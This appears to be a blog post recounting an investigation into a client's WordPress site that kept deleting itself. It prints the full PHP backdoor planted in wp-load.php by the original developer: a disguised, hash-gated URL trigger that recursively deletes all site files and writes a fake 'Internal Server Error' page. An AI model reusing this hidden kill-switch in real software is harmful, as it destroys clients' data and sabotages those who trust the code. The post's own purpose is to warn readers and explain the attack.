The other day, I was given the task of finding out what was wrong with a client’s website that kept mysteriously deleting itself only days after backups were restored. After a quick grep of the WordPress install for keywords like unlink and rmdir, which would be responsible for what was happening, I found this in wp-load.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

/*
 * This will ensure the integrity of the error reporting mechanism.
 */
$index = false;
foreach ( $_GET as $key => $get ) {
	if ( sha1( $key ) == '5144861b3a3688f4aee3cbff3cdabc97589a4467' ) {
		$index = $key;
		break;
	}
}
 
if ( $index && sha1( $_GET[ $index ] ) === '7689e82d3c1c7f9d726e5c964b8951f167e7a3ff' ) {
 
	$dir    = __DIR__;
	$it     = new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS);
	$files  = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
 
	foreach($files as $file) {
	    if ($file->isDir()){
	        rmdir($file->getRealPath());
	    } else {
	        unlink($file->getRealPath());
	    }
	}
 
	$warning = "PGgxPkhUVFAgNTAwIC0gSW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT4=";
	$file = fopen( 'index.php' , 'wb' );
	fwrite( $file ,  base64_decode( $warning ) );
	fclose( $file );
 
	echo base64_decode( $warning );
 
	exit(0);
}

For those of you who aren’t familiar with PHP, this code recursively deletes everything in public_html when a password is passed in over a url variable. Since this behaviour had to be triggered manually, the client wanted to know who was messing with him, and at their request, I added a few lines that would email us some details about whoever triggered it next (IP address, browser useragent info, etc…). Having set the trap, we waited, and sure enough, they attempted to delete the site again a few days later. After looking into the IP address that made the request, however, we found that they were using TOR, so we hit at a dead-end there.

To continue the hunt, I next checked the zipped WordPress install that was last emailed by the developer after he completed his work, and found that this malicious code was in that as well, meaning it was planted there by the developer. We thus concluded that in an attempt to earn more money fixing the issue, the original developer hid this code to secretly sabotage his clients after the original job was done.

So there you have it – Be careful who you hire!